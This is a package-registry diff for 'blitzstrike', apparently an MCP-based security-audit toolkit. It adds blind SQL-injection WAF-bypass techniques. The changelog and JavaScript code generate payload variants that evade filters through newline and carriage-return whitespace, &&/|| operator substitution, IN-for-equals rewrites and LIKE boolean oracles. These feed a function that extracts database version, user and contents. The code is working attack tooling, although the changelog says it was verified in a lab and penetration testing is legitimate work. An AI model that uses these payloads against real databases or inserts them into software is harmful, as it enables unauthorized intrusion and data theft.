blitzstrike 2.4.165 → 2.4.166
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +15 -0
- package/dist/index.js +42 -17
- package/package.json +1 -1
package/CHANGELOG.md
CHANGED
|
@@ -5,6 +5,21 @@ All notable changes to Blitz Strike are documented here.
|
|
|
5
5
|
The format follows [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
|
|
6
6
|
and this project adheres to [Semantic Versioning](https://semver.org/).
|
|
7
7
|
|
|
8
|
+
## [2.4.166] — 2026-10-11
|
|
9
|
+
|
|
10
|
+
### Added — expanded WAF-bypass techniques (sqlmap + PayloadsAllTheThings)
|
|
11
|
+
|
|
12
|
+
- New bypass dimensions beyond space/comment/case, sourced from sqlmap's 66 tamper
|
|
13
|
+
scripts + PayloadsAllTheThings/OWASP:
|
|
14
|
+
- Whitespace: LF `%0A` + CR `%0D` (MySQL 5 accepts 09/0A/0B/0C/0D/A0/20).
|
|
15
|
+
- symbolic-logical: `AND`→`&&`, `OR`→`||` (bypasses case-insensitive keyword filters).
|
|
16
|
+
- equaltolike: `=`→`IN ('x')` — exact, no `LIKE` wildcard (`_`/`%`) false-positives
|
|
17
|
+
and no `AND` keyword (BETWEEN would collide with `&&`).
|
|
18
|
+
- LIKE-based boolean oracle (`'a' LIKE 'a` vs `'a' LIKE 'b`) for `=`-filtered targets.
|
|
19
|
+
- Combined variants for stacked WAFs (e.g. LF + `&&` + `IN` + `#` comment).
|
|
20
|
+
- Verified on a new lab level 6 (blocks space+tab+`/* */`+`=`+`and`/`or`
|
|
21
|
+
case-insensitively): confirm + extract version/database/user/flag all correct.
|
|
22
|
+
|
|
8
23
|
## [2.4.165] — 2026-10-11
|
|
9
24
|
|
|
10
25
|
### Added — combined WAF-bypass for stacked filters (blind SQLi)
|
package/dist/index.js
CHANGED
|
@@ -62472,13 +62472,17 @@ function oracleBypassVariants(base) {
|
|
|
62472
62472
|
const dash = body;
|
|
62473
62473
|
const hash = body.replace(/-- -$/, "#").replace(/--$/, "#");
|
|
62474
62474
|
const bal = body.replace(/(\d)=(\d)-- -/, "'$1'='$2");
|
|
62475
|
+
const likeBool = body.replace(/(\d)=(\d)-- -/, (_, a, b) => a === b ? "'a' LIKE 'a" : "'a' LIKE 'b");
|
|
62475
62476
|
const cs = (s) => s.replace(/AND/g, "aNd").replace(/OR/g, "oR").replace(/IF/g, "iF").replace(/SLEEP/g, "sLeEp");
|
|
62477
|
+
const sym = (s) => s.replace(/AND/g, "&&").replace(/OR/g, "||");
|
|
62476
62478
|
const sp = (s, x) => x === " " ? s : s.replace(/ /g, x);
|
|
62477
62479
|
const out = [];
|
|
62478
|
-
for (const cmt of [dash, hash, bal]) {
|
|
62479
|
-
for (const x of [" ", "/**/", "\t"
|
|
62480
|
+
for (const cmt of [dash, hash, bal, likeBool]) {
|
|
62481
|
+
for (const x of [" ", "/**/", "\t", `
|
|
62482
|
+
`, "\r"]) {
|
|
62480
62483
|
out.push(`'${sp(cmt, x)}`);
|
|
62481
62484
|
out.push(`'${sp(cs(cmt), x)}`);
|
|
62485
|
+
out.push(`'${sp(sym(cmt), x)}`);
|
|
62482
62486
|
}
|
|
62483
62487
|
}
|
|
62484
62488
|
out.push(`"${dash}`, dash, `')${dash}`, `")${dash}`, `"${hash}`, `')${hash}`, `")${hash}`);
|
|
@@ -62494,26 +62498,45 @@ function extractBypassVariants(tpl) {
|
|
|
62494
62498
|
const dash = base;
|
|
62495
62499
|
const hash = base.replace(/-- -$/, "#").replace(/--$/, "#");
|
|
62496
62500
|
const bal = base.replace(/'(-- -|--)$/, "");
|
|
62501
|
+
const like = base.replace(/='\{char\}'/, "IN ('{char}')");
|
|
62502
|
+
const likeHash = like.replace(/-- -$/, "#").replace(/--$/, "#");
|
|
62497
62503
|
const combos = [
|
|
62498
|
-
[dash, " ",
|
|
62499
|
-
[hash, " ",
|
|
62500
|
-
[dash, "/**/",
|
|
62501
|
-
[dash, " ",
|
|
62502
|
-
[bal, " ",
|
|
62503
|
-
[hash, "/**/",
|
|
62504
|
-
[hash, "/**/",
|
|
62505
|
-
[hash, "\t",
|
|
62506
|
-
[bal, "\t",
|
|
62507
|
-
[bal, "/**/",
|
|
62504
|
+
[dash, " ", "none"],
|
|
62505
|
+
[hash, " ", "none"],
|
|
62506
|
+
[dash, "/**/", "none"],
|
|
62507
|
+
[dash, " ", "case"],
|
|
62508
|
+
[bal, " ", "none"],
|
|
62509
|
+
[hash, "/**/", "none"],
|
|
62510
|
+
[hash, "/**/", "case"],
|
|
62511
|
+
[hash, "\t", "case"],
|
|
62512
|
+
[bal, "\t", "case"],
|
|
62513
|
+
[bal, "/**/", "case"],
|
|
62514
|
+
[dash, `
|
|
62515
|
+
`, "none"],
|
|
62516
|
+
[hash, `
|
|
62517
|
+
`, "case"],
|
|
62518
|
+
[bal, `
|
|
62519
|
+
`, "case"],
|
|
62520
|
+
[dash, " ", "sym"],
|
|
62521
|
+
[like, " ", "none"],
|
|
62522
|
+
[like, "/**/", "none"],
|
|
62523
|
+
[likeHash, `
|
|
62524
|
+
`, "sym"],
|
|
62525
|
+
[likeHash, "\t", "sym"],
|
|
62526
|
+
[like, `
|
|
62527
|
+
`, "sym"],
|
|
62528
|
+
[likeHash, " ", "sym"]
|
|
62508
62529
|
];
|
|
62509
|
-
for (const [cmt, s,
|
|
62530
|
+
for (const [cmt, s, mode] of combos) {
|
|
62510
62531
|
let b = cmt;
|
|
62511
|
-
if (
|
|
62532
|
+
if (mode === "case")
|
|
62512
62533
|
b = b.replace(fn, fns[1]).replace(/AND/g, "aNd");
|
|
62534
|
+
else if (mode === "sym")
|
|
62535
|
+
b = b.replace(/AND/g, "&&").replace(/OR/g, "||");
|
|
62513
62536
|
if (s === "/**/")
|
|
62514
62537
|
b = b.replace(/ /g, "/**/");
|
|
62515
|
-
else if (s
|
|
62516
|
-
b = b.replace(/ /g,
|
|
62538
|
+
else if (s !== " ")
|
|
62539
|
+
b = b.replace(/ /g, s);
|
|
62517
62540
|
out.push(b);
|
|
62518
62541
|
}
|
|
62519
62542
|
}
|
|
@@ -62695,7 +62718,9 @@ async function blindSqliExtract(baseUrl, param, value, dbms, target, opts = {})
|
|
|
62695
62718
|
const bsCharset = caseInsensitive ? "0123456789abcdefghijklmnopqrstuvwxyz" : "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
|
|
62696
62719
|
const baseTpl = (channel === "time" ? p.extraction.time : p.extraction.boolean).replace(/^'/, ctx);
|
|
62697
62720
|
const render = (tpl, pos, ch) => {
|
|
62698
|
-
const spaceStyle = tpl.includes("\t") ? "\t" : tpl.includes(
|
|
62721
|
+
const spaceStyle = tpl.includes("\t") ? "\t" : tpl.includes(`
|
|
62722
|
+
`) ? `
|
|
62723
|
+
` : tpl.includes("\r") ? "\r" : tpl.includes("/**/") ? "/**/" : " ";
|
|
62699
62724
|
const q = spaceStyle === " " ? queryExpr : queryExpr.replace(/ /g, spaceStyle);
|
|
62700
62725
|
return `${value}${tpl.replace(/\{query\}/g, q).replace(/\{pos\}/g, String(pos)).replace(/\{char\}/g, ch).replace(/\{sec\}/g, "1")}`;
|
|
62701
62726
|
};
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "blitzstrike",
|
|
3
|
-
"version": "2.4.
|
|
3
|
+
"version": "2.4.166",
|
|
4
4
|
"description": "Blitz Strike — a universal MCP security-audit toolbelt. BLITZ sweeps the attack surface, EAGLE-EYE traces source-to-sink, STRIKE verifies live. 57 attack chains, 130-tool catalog, intelligence data layer. One server, every agent.",
|
|
5
5
|
"type": "module",
|
|
6
6
|
"bin": {
|